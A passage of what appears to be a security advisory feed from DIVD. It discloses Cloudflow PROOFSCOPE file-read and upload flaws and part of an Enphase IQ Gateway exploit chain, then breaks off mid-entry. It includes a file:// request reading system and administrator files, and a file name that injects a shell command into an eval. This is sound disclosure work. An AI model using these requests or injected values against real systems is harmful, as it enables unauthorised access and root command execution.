  &lt;li&gt;Products: Cloudflow from Hybrid Software (CLOUDFLOW PROOFSCOPE module), versions ≤ 2.3.1&lt;/li&gt;
  &lt;li&gt;CVSS: 9.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H) — CWE-829: Inclusion of Functionality from Untrusted Control Sphere / CAPEC-252: PHP Local File Inclusion&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00052&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00052&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41216&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41216&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to version 2.3.2 of Cloudflow&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;

&lt;p&gt;Within the internet-facing instance of CLOUDFLOW PROOFSCOPE it was found that one of the URLs contains a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; parameter that is used for accessing files from the web application’s built-in storage via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflow://&lt;/code&gt; protocol scheme:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /portal.cgi?asset=download_file&amp;amp;url=cloudflow://path_to_file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was found that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; protocol scheme could be used instead to obtain files directly from the web server’s local filesystem, without any authentication:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /portal.cgi?asset=download_file&amp;amp;url=file:///C:/windows/system32/drivers/etc/hosts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was additionally observed that the web server process was running with administrative privileges, since files from the local administrator’s home directory (normally accessible only to an administrative user) could be retrieved, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Users\Administrator\NTUser.dat&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Users\Administrator\appdata\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It could not be confirmed, due to limited access during testing, whether running the web server with administrative privileges was a misconfiguration by the server administrator or a default setting of the CLOUDFLOW software.&lt;/p&gt;

&lt;h3 id=&quot;risk&quot;&gt;Risk&lt;/h3&gt;

&lt;p&gt;A potential attacker could obtain files from the server’s local filesystem and steal or leak confidential information. Because the web application runs with administrator-level privileges, this could include sensitive files such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NTUser.dat&lt;/code&gt; or PowerShell command history, both of which may contain sensitive information.&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Requesting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file:///C:/windows/system32/drivers/etc/hosts&lt;/code&gt; returned the contents of the server’s hosts file with an HTTP 200 OK response.&lt;/li&gt;
  &lt;li&gt;Requesting the PowerShell &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ConsoleHost_history.txt&lt;/code&gt; file from the local administrator’s profile also returned file contents, confirming the web server process runs with administrative privileges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remove support for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; protocol scheme and deny any requests to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; parameter that contain this scheme without further processing.&lt;/li&gt;
  &lt;li&gt;Review whether the web server process requires administrative privileges and, if possible, reduce it to the least privilege required.&lt;/li&gt;
  &lt;li&gt;Upgrade to Cloudflow version 2.3.2 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;unauthenticated-file-upload---cve-2022-41217&quot;&gt;Unauthenticated File Upload - CVE-2022-41217&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41217&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41217&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00052&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00052&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Witold Gorecki&lt;/li&gt;
  &lt;li&gt;Credits: Witold Gorecki (witold@gorecki.org, researcher), Victor Pasman (Analyst DIVD)&lt;/li&gt;
  &lt;li&gt;Products: Cloudflow from Hybrid Software (CLOUDFLOW PROOFSCOPE module), versions ≤ 2.3.1&lt;/li&gt;
  &lt;li&gt;CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — CWE-434: Unrestricted Upload of File with Dangerous Type / CAPEC-650: Upload a Web Shell to a Web Server&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00052&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00052&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41217&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41217&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to version 2.3.2 of Cloudflow&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;description-1&quot;&gt;Description&lt;/h3&gt;

&lt;p&gt;Within the internet-facing instance of CLOUDFLOW PROOFSCOPE it was found that one of the URLs allows uploading files to the web application’s built-in storage without any authentication:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /portal.cgi?hub=upload_file&amp;amp;whitepaper_name=&amp;lt;REDACTED&amp;gt;&amp;amp;input_name=&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The uploaded file could subsequently be downloaded again via the built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflow://&lt;/code&gt; file retrieval endpoint:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /portal.cgi?asset=download_file&amp;amp;url=cloudflow://&amp;lt;path&amp;gt;/test123.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A related finding from the same assessment, not separately assigned a CVE identifier in the source material provided, is that one of the application’s URLs (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST /portal.cgi/asset/list&lt;/code&gt;) also allows listing files stored in the built-in storage without authentication, and that listed files can subsequently be downloaded via the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflow://&lt;/code&gt; retrieval endpoint. This information-disclosure issue was rated Medium (CVSS 5.3, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) in the original assessment and is closely related to the file storage exposed by this upload vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;risk-1&quot;&gt;Risk&lt;/h3&gt;

&lt;p&gt;A potential attacker could upload malicious files to the CLOUDFLOW PROOFSCOPE built-in storage and use them for malicious purposes, such as phishing campaigns. Depending on the underlying storage solution, uploading a large number of large files could also generate significant costs (cloud storage) or cause a Denial of Service condition (local filesystem storage). Combined with the unauthenticated file-listing/download issue described above, an attacker could also enumerate and retrieve files already stored by legitimate users.&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept-1&quot;&gt;Proof of Concept&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;A file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test123.txt&lt;/code&gt;) was uploaded via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST /portal.cgi?hub=upload_file&lt;/code&gt; with no authentication required, returning a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflow://&lt;/code&gt; path to the stored file.&lt;/li&gt;
  &lt;li&gt;The uploaded file was then retrieved via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /portal.cgi?asset=download_file&amp;amp;url=cloudflow://.../test123.txt&lt;/code&gt;, confirming the round trip.&lt;/li&gt;
  &lt;li&gt;File listing via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST /portal.cgi/asset/list&lt;/code&gt; returned metadata (id, URL, filename, path, file type, timestamps) for existing files in storage without authentication.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Restrict file upload functionality to authenticated users only.&lt;/li&gt;
  &lt;li&gt;If unauthenticated uploads are required by design, implement:
    &lt;ul&gt;
      &lt;li&gt;File size limits;&lt;/li&gt;
      &lt;li&gt;Restrictions on the number of files that can be uploaded (e.g. per IP, User-Agent, and screen size combination);&lt;/li&gt;
      &lt;li&gt;A CAPTCHA mechanism to prevent automated abuse.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Restrict file listing and download functionality to authenticated users only.&lt;/li&gt;
  &lt;li&gt;Upgrade to Cloudflow version 2.3.2 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2023-02-21&lt;/strong&gt;: DIVD released CVE-2022-41216 and CVE-2022-41217.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-07-21&lt;/strong&gt;: Case closed due to inactivity.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2026-07-30&lt;/strong&gt;: Full disclosure of CVE’s.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41216&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41216&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41217&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-41217&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/cases/DIVD-2022-00052&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00052&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Thu, 30 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/30/cloudflow-full-disclosure/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/30/cloudflow-full-disclosure/</guid>
            </item>
            <item>
                <title>Six vulnerabilities in Enphase IQ Gateway devices</title>
                <description>&lt;p&gt;DIVD researchers Wietse Boonstra and Hidde Smit have discovered six critical vulnerabilities in Enphase IQ Gateway devices (formerly known as Enphase Envoy). The vulnerabilities are present in versions 4.x to 8.x. Version 8.2.4225 and later are patched. The first three vulnerabilities can be chained into an unauthenticated Remote Command Execution attack. On older (v7.x and earlier) devices, the password may be a weak default or calculable from the serial number, which can be read remotely (see &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-25754&quot;&gt;CVE-2020-25754&lt;/a&gt;). With these vulnerabilities, an attacker could take full control over an Enphase IQ Gateway device.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21876&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21876&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21877&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21877&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21878&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21878&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21879&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21879&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21880&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21880&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21881&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21881&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-path-traversal-via-url-parameter---cve-2024-21876&quot;&gt;Unauthenticated path traversal via URL parameter - CVE-2024-21876&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21876&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21876&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra, Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)&lt;/li&gt;
  &lt;li&gt;Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8 &amp;lt; v8.2.4225, v7, v6, v5 and v4&lt;/li&gt;
  &lt;li&gt;CVSS: 9.3 (CRITICAL) - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y/V:D/RE:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21876&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21876&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Devices are remotely being updated by the vendor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Enphase IQ Gateway contains a path traversal flaw in the handling of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;locale&lt;/code&gt; URL parameter inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;envoy.rb&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_locale&lt;/code&gt; function reads the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;locale&lt;/code&gt; parameter and, when the page is cacheable (any request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home&lt;/code&gt; or a path containing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/production&lt;/code&gt;), the value ends up unsanitized in a cache file name that is built by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CacheUtils.cache_file&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache_utils.rb&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;CacheUtils&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;CACHE_DIR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/tmp/cache&apos;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cache_file&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;CACHE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;FileUtils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir_p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;locale&lt;/code&gt; value is concatenated into the cache file name without sanitization, an unauthenticated attacker can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; sequences to escape &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/cache&lt;/code&gt; and write a file to an arbitrary path on the file system, including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/emu/db/&lt;/code&gt;. This is the first step of a chain with CVE-2024-21877 (insecure cache file naming) and CVE-2024-21878 (command injection via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/profile&lt;/code&gt;) that results in unauthenticated root command execution - see the proof of concept below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not expose your Enphase IQ Gateway device to an untrusted network (e.g. the internet or a visitor network). If internet connectivity is needed, place the device behind a NAT gateway. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.&lt;/p&gt;

&lt;h2 id=&quot;authenticated-insecure-cache-file-generation-based-on-user-input---cve-2024-21877&quot;&gt;Authenticated insecure cache file generation based on user input - CVE-2024-21877&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21877&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21877&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra, Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)&lt;/li&gt;
  &lt;li&gt;Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8 &amp;lt; v8.2.4225, v7, v6, v5 and v4&lt;/li&gt;
  &lt;li&gt;CVSS: 8.6 (HIGH) - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y/V:D/RE:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21877&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21877&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Devices are remotely being updated by the vendor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CacheUtils.cache_file&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache_utils.rb&lt;/code&gt; builds the on-disk cache file name by directly joining the requested URI, the negotiated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Accept&lt;/code&gt; header, and the requested locale, without validating that the resulting name stays inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/cache&lt;/code&gt;. Combined with the path traversal in CVE-2024-21876, this allows an authenticated (and, when chained with CVE-2024-21876, an unauthenticated) attacker to control both the path and the file name of a file written by the device, which is what makes it possible to plant a file inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/emu/db/&lt;/code&gt; with an attacker-chosen name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not expose your Enphase IQ Gateway device to an untrusted network. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.&lt;/p&gt;

&lt;h2 id=&quot;unpatched-command-injection-via-unsafe-file-name-evaluation-in-etcprofile---cve-2024-21878&quot;&gt;Unpatched command injection via unsafe file name evaluation in /etc/profile - CVE-2024-21878&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21878&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21878&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra, Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)&lt;/li&gt;
  &lt;li&gt;Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8.x, v7, v6, v5 and v4 (currently unpatched)&lt;/li&gt;
  &lt;li&gt;CVSS: 7.1 (HIGH) standalone, 9.2 (CRITICAL) when chained with CVE-2024-21876 and CVE-2024-21877 - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21878&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21878&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: No vendor patch is available for this specific behavior; exploitation is blocked once CVE-2024-21876 and CVE-2024-21877 are patched, since a file can then no longer be planted in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/emu/db/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/profile&lt;/code&gt; on the device iterates every file in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/emu/db&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$EMU_INIT_DB_DIR&lt;/code&gt;) ending in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cols&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;s its content as an environment export, without validating the file name itself:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;f &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$EMU_INIT_DB_DIR&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.cols&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;basename&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt; .cols&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;eval export &lt;/span&gt;EMU_NPK_COLS_&lt;span class=&quot;nv&quot;&gt;$t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$f&lt;/code&gt; (derived from the file name) is not sanitized before being used in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;, a file name such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;;COMMAND;#.cols&lt;/code&gt; results in arbitrary shell command execution as root the next time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/profile&lt;/code&gt; is sourced - on a cron job (daily at 23:00 on v7.x and earlier) or on device reboot. Chained with the path traversal (CVE-2024-21876) and insecure cache-file naming (CVE-2024-21877), an unauthenticated attacker can plant such a file and wait for execution, or force a reboot/crash to trigger it sooner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not expose your Enphase IQ Gateway device to an untrusted network. This reduces the likelihood that an attacker can reach the endpoint required to plant the malicious file in the first place.&lt;/p&gt;

&lt;h2 id=&quot;authenticated-command-injection-via-unvalidated-wireless-configuration-input---cve-2024-21879&quot;&gt;Authenticated command injection via unvalidated wireless configuration input - CVE-2024-21879&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21879&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21879&lt;/a&gt;&lt;/li&gt;
